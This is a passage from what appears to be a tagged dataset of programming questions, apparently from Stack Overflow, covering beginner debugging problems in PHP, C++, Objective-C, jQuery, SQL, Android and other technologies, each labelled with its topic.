&lt;input type= hidden  value=   id= validatebirthdate  name= validatebirthdate &gt;              &lt;input type= hidden  value=   id= validatedescription  name= validatedescription &gt;          &lt;/form&gt;         &lt;script src= js/validation.js &gt;&lt;/script&gt;         &lt;script src= validation.js &gt;&lt;/script&gt;       &lt;/body&gt; &lt;/html&gt; </code></pre>,php
login using prepared statement  i am new in prepared statement and everytime i will login in correct input it gives me the last statement $_session[ message ] but why    <pre><code>$user = $_post[ username ]; $pass = $_post[ password ];   $stmt = mysqli_prepare($conn   select * from user where username =   and password =   ); mysqli_stmt_bind_param($stmt   ss   $user  $pass); mysqli_stmt_execute($stmt); mysqli_stmt_store_result($stmt);  if(mysqli_stmt_num_rows($stmt) &gt; 0){ $row = mysqli_stmt_fetch($stmt);   if($row[ user_type ]== admin ){  $_session[ username ] = $user;  $_session[ user_type ] = $row[ user_type ];  header( location: adminpage.php );   }elseif($row[ user_type ]== secretary ){  $_session[ username ] = $user;  $_session[ user_type ] = $row[ user_type ];  header( location: dashboard.php );         }         }else{     $_session[ message ] =  invalid username or password ;    header( location: index.php );       mysqli_stmt_close($stmt);     }         mysqli_close($conn); </code></pre>,php
what does the css selector  :  and  ::   what is the difference between them   what does the css selector  :  and  ::   what is the difference between them  are both browser compatible  if not  for cross browser perspective  which one we should use,css
symbol(s) not found in xcode  cocoa application  though i ve done some development in java and and a little in c(++)  i m totally new to apple s objective c and xcode.    thus  i m totally stumped by the following error message:   <pre><code>building target “batteryapp” of project “batteryapp” with configuration “debug” — (1 error)         cd /users/soren/documents/batteryapp     setenv macosx_deployment_target 10.5     /developer/usr/bin/gcc-4.0 -arch i386 -isysroot /developer/sdks/macosx10.5.sdk -l/users/soren/documents/batteryapp/build/debug -f/users/soren/documents/batteryapp/build/debug -filelist /users/soren/documents/batteryapp/build/batteryapp.build/debug/batteryapp.build/objects-normal/i386/batteryapp.linkfilelist -mmacosx-version-min=10.5 -framework cocoa -o /users/soren/documents/batteryapp/build/debug/batteryapp.app/contents/macos/batteryapp undefined symbols:    _iopscopypowersourceslist   referenced from:       _main in main.o ld: symbol(s) not found collect2: ld returned 1 exit status            _iopscopypowersourceslist   referenced from:               _main in main.o         ld: symbol(s) not found         collect2: ld returned 1 exit status </code></pre>   it s from a default cocoa application  with main.m looking like so:   <pre><code>import &lt;cocoa/cocoa.h&gt; import &lt;iokit/ps/iopowersources.h&gt;  int main(int argc  char *argv[]) {     cftyperef powerinfo;     iopscopypowersourceslist(powerinfo);     nslog(@ foo );     //return nsapplicationmain(argc   (const char **) argv); } </code></pre>   (remember - just getting my feet wet here... learning by screwing up  mainly :))    i m guessing the iokit lib isn t linked correctly (if i interpret the arcane musings of g++ correctly...)  but i have no idea how to actually link it     any help appreciated - also any links to nice tutorials on creating your own objective c apps.    cheers!,objective-c
situation where inline expansion may not work   i have read somewhere that for functions not returning values  if a return statement exists inline expansion may not work.    can anybody tell me the exact reason for this,c++
compilation error c++ while adding function in header file  the question is trivial but not able to resolve the error so asking here.     i am breaking a simple program by writing a function the function in .h and including it later on the main file.  this is causing compilation error.    i created two files as    <pre><code>int remanagram(string str1  string str2){     int occ1[sizeofalpha];     int occ2[sizeofalpha];     int len1  len2  tot=0;      len1 = str1.size();     len2 =  str2.size();     for(int i =0; i&lt;sizeofalpha; i++){         occ1[i] = 0;         occ2[i] = 0;     }     for(int i =0; i &lt; len1; i++){         occ1[str1[i] -  a ] += 1;     }     for(int i = 0; i &lt; len2; i++){         occ2[str2[i] -  a ] += 1;     }     for(int i =0; i &lt; sizeofalpha; i++){         tot += abs(occ1[i]- occ2[i]);     }      return tot; }  #endif // remanagram_h_included </code></pre>   and function with main files as    <pre><code>#include  remanagram.h  #include&lt;string&gt; using namespace std;  int main(){     string str1  str2;      cin &gt;&gt; str1 &gt;&gt; str2;     cout &lt;&lt; remanagram(str1  str2);      return 0; } </code></pre>   giving the following error:    remanagram.h|8|error:  string  was not declared in this scope,c++
image segmentation using kmeans algorithm in java  i am making java application that will detect the plant disease using image processing and neural network. but i am facing problem in segmenting the image based on the k-means algorithm in java. actually i do not have idea how to segment the image. please if somebody can help me with source code to segment the image in different clusters. thank you,java
capturing  self  strongly in this block is likely to lead to a retain cycle  using reachability  i m trying to edit a variable inside the reachability block using objective-c  this is the code:   <pre><code>- (void)testinternetconnection {     internetreachablefoo = [reachability reachabilitywithhostname:@ www.google.com ];     // internet is reachable     internetreachablefoo.reachableblock = ^(reachability*reach)     {         // update the ui on the main thread         dispatch_async(dispatch_get_main_queue()  ^{             nslog(@ connessione ad internet disponibile );             checkconnection = yes;             if(!lastconnectionstate)             {                 lastconnectionstate = yes;                 if(doitemsdownload)                     [self displaychoice];             }         });     };      // internet is not reachable     internetreachablefoo.unreachableblock = ^(reachability*reach)     {         // update the ui on the main thread         dispatch_async(dispatch_get_main_queue()  ^{             nslog(@ connessione ad internet non disponibile );             checkconnection = no;             lastconnectionstate = no;         });     };      [internetreachablefoo startnotifier]; } </code></pre>   where <code>checkconnection;</code> &amp; <code>lastconnectionstate;</code> are 2 bool declared on my @interface; the problem is that accessing these variables and calling <code>[self displaychoice];</code> inside this block gives me the warning: <code>capturing  self  strongly in this block is likely to lead to a retain cycle</code>    how can i possibly avoid this error  i tried declaring a <code>weakself</code> and declaring <code>self</code> but i don t know how to do it for the bool variables,objective-c
how do you stop this jquery mousedown event from firing after the first event  i want to  fire an event when an image is clicked on but only once  ie disable the functionality after the first click. i tried..   <pre><code>var img = new kinetic.image({                     x: position[rand][0]                      y: position[rand][1]                      image: imageobj                      width: 106                      height: 118                 });  img.on( mousedown   function(e) {     do stuff     e.stoppropagation(); } </code></pre>   and   <pre><code>img.on( mousedown   function() {         do stuff         return false; } </code></pre>   any ideas,jquery
using sets and overloading operators in c++  so for class this week i have to use a <code>set</code> to read in the declaration of independence and the us constitution from a <code>.txt</code> file  store them in sets  and overload <code>operator*</code> to find and return the intersection of the two <code>set</code>s.     reading everything in is not a problem  neither is finding out the intersection in the sets. what i m having a lot of trouble with is overloading <code>operator*</code>. i keep getting two errors:    <code>no operator  *  matches these operands</code> and     <code>binary  * : std::set&lt;_kty&gt;  does not define this operator or a conversion to a type acceptable to the predefined operator</code>    here is my code so far:    from main:   <pre><code>reader r; std::set&lt;std::string&gt; d  c; d = r.getdeclaraton(); c = r.getconstitution(); set dec(d)  con(c); set intersection = dec * con; </code></pre>   the errors are coming from that last line of <code>main</code>.    from set.h   <pre><code>class set {    public:     std::set&lt;std::string&gt; s;     set(void);     set(std::set&lt;std::string&gt; set)     {         s = set;     }     ~set(void);     std::set&lt;std::string&gt; operator* (const std::set&lt;std::string&gt; &amp;rhs)     {         std::set&lt;std::string&gt; newset;         std::set&lt;std::string&gt;::iterator rhsiter = rhs.begin()  result;         while (rhsiter != rhs.end())         {             result = s.find(*rhsiter++);             if (result != rhs.end())             {                 newset.insert(*result);             }         }         return newset;     } }; </code></pre>,c++
how do i check how much memory to allocate   code:   <pre><code>int messagefunction(char* message) {    char* sptr = strstr(message  subject: );    char* cptr = strstr(message  content: );     // here is the part i m stuck at    char* messagesubject = (char*) malloc(...)    char* messagecontent = (char*) malloc(...)    ...     }  void main() {   char* message =  subject:helloworldcontent:messagecontent ;   int result = messagefunction(message);  } </code></pre>   i want to allocate memory for the subject  helloworld  and for the content  messagecontent  (need to work dynamically).    maybe i need to do something like this  for calculation for <code>messagesubject</code>     <code>strlen(message)</code> - strlen(substring after cptr) - <code>strlen( subject: )</code>    and for <code>messagecontent</code>:    <code>strlen(message)</code> - strlen(substring before cptr) - <code>strlen( content: )</code>    but i m not sure how to get  substring after cptr  and  substring before cptr,c
arrays homework question  i have this homework question:    write and test a program that read in n integers (max value for n is 20)  each integer has     a value between 0 and 100 inclusive. you program should then print out the unique values     among the input numbers and the count of these values.     sample input:   <pre><code>enter a the number of integers = 8 enter 8 integers: 5 6 7 6  6 17 17 35 </code></pre>   sample output:    <pre><code>number 5: 1 number 6: 3   number 7: 1  number 17: 2  number 35: 1 </code></pre>   this is what i did:   <pre><code>#include&lt;iostream&gt;  using namespace std;  int main(){   int a[20]  n;    cout&lt;&lt;  please enter the number of integers=  ;   cin&gt;&gt; n;   cout&lt;&lt; please enter &lt;&lt; n&lt;&lt;  integers:  ;    for (int i=0; i&lt;n; i++)     cin &gt;&gt; a[i];    for (int k=0; k&lt; n; k++){     int sum=0;     for (int i=0; i&lt; n; i++){       if (a[i]==a[k])         sum= sum+1;     }      cout&lt;&lt;  number  &lt;&lt; a[k]&lt;&lt;  :  &lt;&lt; sum&lt;&lt; endl;   } } </code></pre>,c++
how can i change the color of my div with class red  i m new to html and want to color the div red. how can i add a color to this class  thank you very much.    i ve already tried to add css but it was blue. i want it to be red   <pre><code>.red{ color:#0024ff } </code></pre>   and the html:   <pre><code>&lt;div class= red &gt;&lt;/div&gt; </code></pre>   update: thanks but i ve found a workaround. friend of me suggested to remove the red class using javascript.   <pre><code>private function removeclass(){  $( .red ).addclass( red2 ); } </code></pre>   and he gave me:   <pre><code>.red2{   background-color:red; } </code></pre>,html
sql_autoload_register not autoloading class <pre><code>sql_autoload_register  (function ($classname){     include $classname.   .php   ;  });  $obja = new manageuser(); </code></pre>  <blockquote>    fatal error. uncaught error : class  manageuser  not found  </blockquote>,php
storing $scopes in a factory  i m adding features to a web application that i did not write myself.  i feel that a swipe feature cannot be added.    i saw somewhere  $scope cannot be accessed in a factory   but i somehow managed to store all scopes created by an ng-repeat in a factory. since javascript passes by value i m probably not  storing the scope  but still if i set the scopes ng-class within the factory i can clearly see the difference.  i thought it was a good idea since scope traversing is a pain. did i strike gold or am i wasting speed and space on storing the massive data which is scope     <strong>html</strong>    main.html   <pre><code>&lt;div ng-controller= somectrlwhichwasdeclaredalongtimeago &gt;     .     .     .      &lt;div class= items-container           ui-sortable= sortableoptions           ng-model= selectedsession.items &gt;         &lt;div ng-repeat= item in selectedsession.items               ng-controller= itemeditorctrl               ng-class= { item-last :$last} &gt;             &lt;div ng-if= item._value !== undefined                   class= item inline-comment &gt;                 &lt;span class= handle &gt;&lt;/span&gt;             &lt;/div&gt;             &lt;div ng-if= item._value === undefined                   class= item                   ng-include=  /views/item-editor.html  &gt;&lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;          &lt;div class= stopper &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   item-editor.html   <pre><code>&lt;div item-editor      swipe-function= swipeme       ng-swipe-left= swipeleft(item)        ng-swipe-right= swiperight(item) &gt;      ... &lt;/div&gt; </code></pre>   this will render a list with my magic code. if an item in list is clicked it will expand to full screen. you should be able to swipe between the items from there.    i don t think i have to post more than the html to explain the problem. i did manage to make the swipe happen with $rootscope.$broadcast but what if i have hundred items in my list  will it not grow slower with more and more items receiving message and processing them  i d rather just load all of the scopes into one factory on selection of this session and then get rid of it when a session is deselected. it might need some time to start but it doesn t take 5 minutes to swipe.,angularjs
how to recover the old data from table  i have made an update statement in a table in sql 2008 which updated the table with some wrong data.    i didn t have a backup for the db.    it s some important dates which got updated.    is there anyway where i can recover the old data from the table.    thanks    sna,sql
list index out of range in python; iteration  i am using the simple program below to see how long an iterative process takes to terminate. however  in line 15  i cannot figure out why i am getting index out range error.    an example of what i am trying to count is the number of steps it takes for the following example iteration: user inputs 4 and then 1234. then we have: [1 2 3 4] --> [1 1 1 1] --> [0 0 0 0] and then termination. 2 steps is required to get to [0 0 0 0]. i have proven that for the values of n that i am inserting  the system goes to [0 0 0 0] eventually.    <pre><code>import math index = input( enter length:  ) n = int(index) game = input( enter coordinates of length n as a number:  ) s = list(game) game = [] for k in s:     game.append(int(k))     l = len(game) while sum(game) &gt; 0:     iteration = []     k = 0     j = 0     while j &lt; l-1:         iteration.append(math.fabs(game[j]-game[j+1])) # line 15         j = j+1         k = k+1         game = iteration print(k) </code></pre>,python
how do i create a calculator to add user inputs from same edittext   i want to create a calculator only to add the user digit inputs given in same edittext and show in second edittext. here is an example.    52 is entered by user in a edittext.    i want to perform addition in these number and show the result in second edittext.    answer should be 5+2=7.    i don t now what to perform     so  i am performing this task.   <pre><code>            int ans = a+b;                  final int[] oil={ans};              final string str = string.valueof(r.id.edittext1);              final int y = integer.parseint(str);              final int z = oil[y];               et2.settext(z); </code></pre>,android
generate array of textbox in ruby on rails  i am using the below ruby code   <pre><code>&lt;%= form_for :post  url: /index  do |f|%&gt;     &lt;%= f.text_field(:name) %&gt; &lt;% end %&gt; </code></pre>   this generates a form with textbox as below   <pre><code>&lt;input type= text  name= post[name]  id= post_name &gt; </code></pre>   is there any way to generate fields with array format such as:   <pre><code>&lt;input type= text  name= post[name][]  id= post_name_1 &gt; &lt;input type= text  name= post[name][]  id= post_name_2 &gt; &lt;input type= text  name= post[name][]  id= post_name_3 &gt; &lt;input type= text  name= post[name][]  id= post_name_4 &gt; : : &lt;input type= text  name= post[name][]  id= post_name_n &gt; </code></pre>,ruby-on-rails
angularjs - ng-repeat print me (user_id) first  then order by  i need to loop trough object of users but i want to place a concrete user (me) at the beginning.    example   <pre><code>this.users = [     {         id: 1          name:  jane      }      {         id: 2          name:  john      }      {         id: 3          name:  me      }      {         id: 4          name:  mark      } ];  &lt;div ng-repeat= user in ctrl.users &gt;     &lt;!-- some other tags --&gt; &lt;/div&gt; </code></pre>   and i want it to be this   <pre><code>&lt;div&gt;     &lt;!-- me --&gt; &lt;/div&gt;  &lt;div&gt;     &lt;!-- jane --&gt; &lt;/div&gt;  &lt;div&gt;     &lt;!-- john --&gt; &lt;/div&gt;  &lt;div&gt;     &lt;!-- mark --&gt; &lt;/div&gt; </code></pre>   is it posible to do it using <code>orderby</code> or do i have to reorganize my array of users,angularjs
what does // mean in an <a> tag  i m writing a web crawler and i m testing it out by starting at wikipedia.  however  i noticed that many of wikipedia s links are prefaced with <code>//</code>  so the link from wikipedia.org to en.wikipedia.org is a link to <code>//en.wikipedia.org</code>.  what exactly does this // mean in practice   does it say  use whatever scheme you were using before and then redirect to this url   or does it mean something entirely different,html
html codes .. names vs numbers  this might seem like a stupid question but i have always wondered. what would be the advantage of using html code names versus html code numbers. is there a right place or a wrong place for  each version     by html codes i am referring to this..    <a href= http://ascii.cl/htmlcodes.htm  rel= nofollow >http://ascii.cl/htmlcodes.htm</a>    i know for validation purposes codes should be used for example using <strong><code>&amp;amp;</code></strong> or <strong><code>&amp;#38;</code></strong> versus using <strong>&amp;</strong>. however i don t know when it would be right to use <strong><code>&amp;#38;</code></strong> over <strong><code>&amp;amp;</code></strong> ... or does it simply make no difference,html
how to append the length after found  #0   my data format will be like  #9#0000075 .    how to delete  #9  and start with  #0  and the next value. how to get count before  #0 .    for info:   #9  sometime not only 3 characters  may be more or less. but it sure need start with   #0 .   <pre><code>stringbuilder gate = new stringbuilder(); int count = 1; string header =   ; string oldheader =   ;  public void processrawpacket(int i) throws exception {     try {         gate.append((char) i);         oldheader = gate.tostring();          for (int index = 0; index &lt;= oldheader.length(); index++) {             if (oldheader ==  #0 ) {                 gate.append(oldheader);             }             index++;         }         process = false;     } catch (exception e) {         out.println(expmsg +  processrawpacket(i):   + e);         e.printstacktrace();         stringwriter stack = new stringwriter();         e.printstacktrace(new printwriter(stack));         out.println( caught exception packet; decorating with appropriate status template :   + stack.tostring());          resetpacket();     } } </code></pre>,java
naming properties different than their instance var   i m new to objective-c 2.0 (coming from .net c#) and i discovered the properties. they are very handy for dealing with the memory management (retain).    so i can set the vars in the init method pretty easy like   <pre><code>@property (retain) nsdate *d1  *d2; </code></pre>   and   <pre><code>@synthesize d1  d2;  -(id)init {     if (self = [super init]) {         // initialize properties         self.d1 = [nsdate date];         self.d2 = [nsdate date];     }             return self; } </code></pre>   sometimes i forget (may be because of my .net background) to use the  self.  it looks familiar and not really like bad coding. so i might miss it in the future again...   <pre><code>-(id)init {     if (self = [super init]) {         // initialize properties         d1 = [nsdate date];         d2 = [nsdate date];     }             return self; } </code></pre>   but this will result in an exc_bad_access violation when the property will be set using <code>self.d1 = [nsdate date];</code> or from outside <code>objxy.d1 = [nsdate date];</code>    i would appreciate it  when the compiler will warn me about using properties directly and not through the synthesized messages. this could be done easily by naming the instance var different then the property.    just wondering  if anybody is doing this that way  or in another...  my researches showed  that it is possible  but i need to declare the vars on my own in the header file. for this i would use a prefix (the _ is reserved for the cf) so i would need something bigger like xy_ ... hm... not really so handy...    why not having an attribute for properties like (unique) which will generate a instance var with an different name than the property name... @apple,objective-c
using getchar() in a while loop  prints a statement twice.. how   i have a very simple program like this   <pre><code>int main() {     int opt;     int n;     int flag = 1;     while(flag)     {         printf( m inside while.press c to continue\n );         if((opt = getchar())==  c )         {             printf( choose a number\n );             scanf(  %d  &amp;n);             switch(n)             {             case 0:                 printf( m zero\n );                 break;             case 1:                printf( entered one\n );                break;             case 3:                printf( m exit\n );                flag = 0;                break;             }             printf( m broke\n );         }     }     printf( m out\n );     return 0; } </code></pre>   i get output like this:   <pre><code>m inside while.press c to continue c choose a number 1 entered one m broke m inside while.press c to continue m inside while.press c to continue c choose a number </code></pre>   my doubt is why  m inside while.press c to continue  gets printed twice after every loop      thanks in advance,c
importerror: no module named   error in python  i am trying to create a simple restful service in python using flask. i am a little confused with python modules and how to use them. there have been many questions related tot this  however applying it in my case  doesn t help.    my project directory structure is as below:   <pre><code>algorithmservice      |-api.py      |-resources            |- __init__.py            |- optimization                     |- __init__.py                     |- instances.py </code></pre>   my <code>instances.py</code> looks like the following   <pre><code>from flask_restful import resource  class instance(resource):     def get(self):         pass     def post(self):         pass </code></pre>   <code>api.py</code> is the following:   <pre><code>from flask import flask from flask.ext.restful import api  resource from resources.optimization.instances import *  app = flask(__name__) api = api(app) </code></pre>   when i run the command <code>python api.py</code>  i get the following error:   <pre><code>  file  api.py   line 3  in &lt;module&gt;     from resources.optimization.instances import * importerror: no module named optimization.instances </code></pre>   i have tried a few other variations of the import statement  but none seem to work.,python
messagebox.show format  i just started learning c# so bear with me.  i have been looking everywhere for help on this simple issue.      i have program that requires the user to guess a random number and after the number is guessed a message box appears that says your correct and how many guesses it took.  i just moved from creating console apps to windows form apps and have painfully realized that its a different set of rules.    <pre><code>messagebox.show( you are right! it took you   +totalguesses   guesses  messageboxbuttons.ok); </code></pre>   i need the output to say that  you are right! it took you 9 guesses.     what i end up getting is <strong>you are right! it took you 9</strong> and <strong>guesses</strong> is the title of the messagebox.    can someone tell me what i am doing wrong please.,c#
module that follows as page scrolls php  i m trying to make a module that follows as page scrolls in php. i know that s not really that good at describing it  let me try to do it a little better. so i need to have a box about 500x50 at the bottom of the user s page. as the user scrolls up or down the box is still at the bottom of the page. it moves with the page scrolls per say. i can t think of a way to do this. i only know php and html so i d rather not have to work with js or jquery for this. if at all possible i d love it to be able to be done in iframe  but from the documents i read about iframe it can t be done with iframe alone.    if you d like to know why. i m coding this for a mybb forum  this box will display active forum info.,css
addclass function doesn t work  i want to add the <code>effect</code> class to any existing classes that the my <code>input type= submit </code> already has  as long as the action contains the string <code>special</code>.     i m using the following code:   <pre><code>&lt;body&gt;  &lt;form action= /go/special  method= post  target= _blank &gt; &lt;input type= submit  class= zzz  value= click me &gt;&lt;/form&gt;   &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js &gt;&lt;/script&gt;  &lt;script&gt; jquery(function($) {     // find all forms that have  special  in the action  find their input  and add the class     $( form[action*= special ] input[type= submit ] ).addclass( effect ); }); &lt;/script&gt; &lt;/body&gt; </code></pre>   if it will work properly output should be:   <pre><code>&lt;form action= /go/special  method= post  target= _blank &gt; &lt;input type= submit  class= zzz effect  value= click me &gt;&lt;/form&gt; </code></pre>   but it remains:   <pre><code>&lt;form action= /go/special  method= post  target= _blank &gt; &lt;input type= submit  class= zzz  value= click me &gt;&lt;/form&gt; </code></pre>,jquery
how to disable window resize in windows universal app   when i create a new windows universal app and launch it i can resize borders of it.  how can i to disable this functionality     in comparison to <em>wpf</em> you can set the <code>resizemode</code> property to <code>resizemode.noresize</code>.  i tried to implemented this in my project  but it didn t work properly.,c#
how to select next item in list  i have a list of ipaddresses <code>list&lt;ipaddress&gt; proxies;</code> and a current proxy <code>ipaddress cproxy;</code>. i m adding each line in a proxy txt file to the list and having it be used for httprequests. each time the request fails it adds 1 to <code>int proxyretries</code>.      <pre><code>            if (proxyretries &gt; 5)         {             proxyretries = 0;             cproxy = proxies // how to select next proxy in the list          } </code></pre>   my question is how can i set the current proxy to be the next in line of the list,c#
column formatting in python  how would you format this is python.   <pre><code>print( rating    \t    number of processors ) print( *  processor_count1) print( **   processor_count2) print( ***   processor_count3) </code></pre>   the result when you run it is this:   <pre><code>rating   number of processors * 1 ** 3 *** 1 </code></pre>   as you can see the numbers are not lined up with the title. the duplicate answer does not help at at all,python
$.getscript() in jquery how this method exactly work  i need to make sure that how <a href= https://api.jquery.com/jquery.getscript/  rel= nofollow ><code>$.getscript()</code></a> jquery method exactly work   is this method check for the script if it was loaded before load it agian or will load the external script each time i call the method.    i have tried to take a look on this method <a href= https://github.com/jquery/jquery/blob/master/src/ajax/script.js#l23  rel= nofollow >source</a>,jquery
how do i pass in an owner window to messagebox.show on a different thread   i am trying to figure out messagebox( ownerwindow  ... ).    using reflector i see that the ownerwindow defaults to the activewindow for the thread.    so the only time i need the ownerwindow parameter is to call show from another thread.      however when i try this  i get a cross threading exception.   <pre><code>    private void button1_click( object sender  eventargs e ) {         new thread( () =&gt; messagebox.show( this   test  ) ).start();     } </code></pre>   so it looks like the only time i need the explicitly state the owner window  i cann t use it!,.net
how can i delete  sub  records   sorry for the vague title  i m not really sure how to define what i am trying to do.    i have 3 tables: categories - has a unique id (cat_id) questions - has a unique id and a category foreign key (ques_category_fk) answers - has a unique id and a questions foreign key (ans_question_fk)    what i am trying to do is delete all the questions and answers under a single category. deleting the questions is no problem. however  i m not sure how  to delete the answers using the same sql statement.    i thought of loading all the questions  iterating through them or adding a category foreign key to the answers. both of these seem inefficient.    here is my current delete statement:   <pre><code>delete from questions where ques_category_fk = @fk </code></pre>,sql
uicolor conversion to string fails  why   i have two pieces of code  first fails the second works... can t see why.   <pre><code>uicolor _color = [uicolor blackcolor]; </code></pre>   nsstring *something1 = [[_color cicolor] stringrepresentation]; //fails     nsstring *something = [[cicolor colorwithcgcolor:[_color cgcolor]] stringrepresentation]; //works    can anyone explain,objective-c
mysql view very slow to generate  even with indexes  we are currently migrating our databases to a new server which should have a much better performance. everything is copied over from the old server as is  all indexes  table names  view etc.     however  on the new server  views are taking significantly longer to generate  15 seconds on the new server vs 0.0021 on the old one!     my export view has the following query   <pre><code>create algorithm=undefined definer=`easycoun_st`@`localhost` sql security   definer view `view_stocktake_locations`  as  select `stocktake_locations`.`id` as `id`  `stocktake_locations`.`stocktake_id` as `stocktake_id` `stocktake_locations`.`store_locations_id` as `store_locations_id` `stocktake_locations`.`stocktake_status` as `stocktake_status`  `stocktake_locations`.`stocktake_date` as `stocktake_date` `stocktake_locations`.`stocktake_value` as `stocktake_value` `stocktake_locations`.`is_completed` as `is_completed`  (select sum(`stocktake_details`.`quantity` * `stocktake_details`.`unit_of_measure` + `stocktake_details`.`quantity_units`) from `stocktake_details` where `stocktake_details`.`location_id` = `stocktake_locations`.`id`) as `total_quantity`  (select sum(`stocktake_details`.`quantity` * `stocktake_details`.`full_cost` + `stocktake_details`.`quantity_units` * `stocktake_details`.`unit_cost`) from `stocktake_details` where `stocktake_details`.`location_id` = `stocktake_locations`.`id`) as `total_cost`  (select `store_locations`.`location_name` from `store_locations` where `store_locations`.`id` = `stocktake_locations`.`store_locations_id`) as `location_name` (select `store_locations`.`store_id` from `store_locations`  where `store_locations`.`id` = `stocktake_locations`.`store_locations_id`) as `store_id` from `stocktake_locations` ; </code></pre>   when i run a quick explain select * from view_stocktake_locatons on both servers  i get different results. <a href= http://prntscr.com/js0qnv  rel= nofollow noreferrer >new server</a> and <a href= http://prntscr.com/js0qxv  rel= nofollow noreferrer >old server</a>    as i said  all keys  indexes etc are the exact same. i can t see a reason why there is such a time difference in generating the result  and can t understand why the new server starts with a derived table  rather than primary.,mysql
java config blocks - configuring properties in blocks  i want to have a configuration to be specified in blocks. for eg:   <pre><code>[production] key = value  [development] key = value  [staging] key = value </code></pre>   then i want to read config as appropriate at run-time.    i can do this in python. how can i do this in  java   is there a java class for it,java
why the android awesomeplayer was made using struct not class  i found that the native layer of android uses class and struct.    for example  <code>mediaplayer</code>  <code>stagefrightplayer</code>  <code>audioplayer</code>  <code>metadata</code> was class. but <code>awesomeplayer</code> and <code>mediasource</code> are struct.    although i read that class and struct is similar in use  i wonder why <code>awesomeplayer</code> was created as struct. is there any reason or just developer s taste,android
find control at runtime <pre><code>    protected void button1_click(object sender  eventargs e)     {         fileupload f = new fileupload { id =  ff  };         placeholder1.controls.add(f);      }       protected void button2_click(object sender  eventargs e)     {         fileupload fu = (fileupload)placeholder1.findcontrol( ff );         label1.text = fu.filename;       } </code></pre>   so i cant find the fileupload at run time,asp.net
ruby on rails default value on form  hey  need a little help here.    i have two models:   <pre><code>class user &lt; activerecord::base   has_many :jobs end </code></pre>   and   <pre><code>class job &lt; activerecord::base   belongs_to :user end </code></pre>   when i do migration i put    <pre><code>class createjobs &lt; activerecord::migration   def self.up     create_table :jobs do |t|       t.references :user ..... </code></pre>   what should i put on my jobs/new action for user_id     i use resfull_authentication  so i have current_user helper.   <pre><code>&lt;% form_for(@job) do |f| %&gt;   &lt;%= f.error_messages %&gt;    &lt;p&gt;  user:  &lt;%= f.label current_user.login %&gt; #works fine for me! current_user.id works fine two!                       but what should i put for value           &lt;/p&gt;     &lt;p&gt;     &lt;%= f.label :filename %&gt;&lt;br /&gt;     &lt;%= f.text_field :filename %&gt;   &lt;/p&gt; </code></pre>   should i put current_user.id on controller  if so  how      please help! thank you very much!,ruby-on-rails
string inside function  i have written a program in which you have to create a function. the function will expect 3 parameters $string  $start  $end. inside the function  you have to write the logic inside the function to automatically print the string depending upon the value of $start and $end.    i tried this whole function is working correctly but the array length is 55 but when i specify $end=55 then it returns the error ending value exceeded string length:   <pre><code>function string_function($string $start $end){      $length= strlen($string);      if($start&lt;0 || $end&lt;0){         echo  start or end of string cannot be in negative ;         }else if($start&gt;$length || $end&gt;$length){         echo  entered values exceed more than string s length ;     }else if($start&gt;$end){         echo  start point is greater than end point  which is invalid ;     }else if($end&lt;$length){         $length &lt;= ($end+1);         for($i=$start; $i&lt;=$end; $i++){             echo  [$i] =&gt;  .$string[$i]. &lt;br&gt; ;         }         }else{              echo  ending value exceeded string length ;     } } $start = 22; $end =54; $string =  i am a programmer and i am passionate about programming ; string_function($string  $start  $end); </code></pre>   help would be welcomed.,php
dragging an uiimageviews inside uiscrollview  in my app i have uiscrollview and multiple uiimageviews inside it  here i have done this all  i want to allow user to rearrange the uiimageviews around uiscrollview.  i.e <strong>like gallery view in android</strong>. what is the best way to do this. here is the code how im adding uiimageview to scrollview   <pre><code>uigraphicsbeginimagecontext(myview.frame.size); cgcontextref context = uigraphicsgetcurrentcontext();  [myview.layer renderincontext:context];  uiimage *screenshot = uigraphicsgetimagefromcurrentimagecontext(); uigraphicsendimagecontext();    myimageview.image=screenshot;  [myscrollview addsubview:myimageview]; </code></pre>,objective-c
android viewpager not updating next position  i have a viewpager  in that trying to change sum values on current view  but not able to get reflect on next or previous view  since those views are already got ready before i change my current view.    for example i am in 3rd(position) view  once try to change some text and i want to reflect that in 2nd view or 4th view.    once i clicked a view the count will be increased  as well as i want to reflect in both previous and next view when i move to previous or next position .   <pre><code>here is my code:  public class mypageradapter extends pageradapter {     int height  width;     public mypageradapter(fragmentmanager fm) {         minflater = (layoutinflater)  getsystemservice(context.layout_inflater_service);     }      @override     public object instantiateitem(viewgroup container  final int position) {         view v = minflater.inflate(r.layout.detail_item_row  null);          marticlecount = (textview) v.findviewbyid(r.id.articlecount);         finalcount = (textview) v.findviewbyid(r.id.finalcount);          marticlecount.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                 finalcount.settext(getcount());             });             container.addview(v);             return v;         }     }         @override         public int getcount() {             return marticlesmodel.size();         }          @override         public int getitemposition(object object) {             return super.getitemposition(object);         }          @override         public boolean isviewfromobject(view view  object object) {             return view == ((linearlayout) object);         }          @override         public void destroyitem(viewgroup container  int position  object object) {             mlog.i( destroy item    @@@ pos =   + position);             container.removeview((linearlayout) object);         }     } </code></pre>,android
asp.net: prevent files from bots  application uses forms authentication and has folders with excel files. need to prevent unauthorized  automated scripts or bots from accessing these folders. what would be best option to prevent this    <ol> <li>have the authorization node of the lockelementsattribute value set in the web.config file.</li> <li>have a  element added to the  element in the web.config file. 3 use (captcha) image control on each page of the application. 4 use robots.txt file implemented in the root directory of the application.</li> <li>have the excel files mapped to the asp.net isapi filter. or are there better options  httmodules  </li> </ol>,asp.net
need help to disable download from a url  is there a way to disable a user from downloading a file from a url     for example i have a link:    wow.mywebsitedomain.com/templates/filename.svg    i want to disable the user from downloading the filename.svg    these svg files are not just an image  they are editable designs that i have spent countless hours on each. no  i do not care if someone does a screenprint or gets a png etc  as those are not scalable  editable  vector files.    when the user clicks on a png thumbnail my actual link opens my online design editor to allow the user to customize these files  then save to my server  then purchase printed media  and they are not allowed to download any files.    i tried putting the actual files into a password protected folder on my server  but they do not open properly  and i do not want the user to have password access to this folder.    essentially i need the link to be accessible  just not show the actual link for someone to copy and open/save/download etc.     hopefully there is a simple solution for a non-programmer with basic html skills     thanks,html
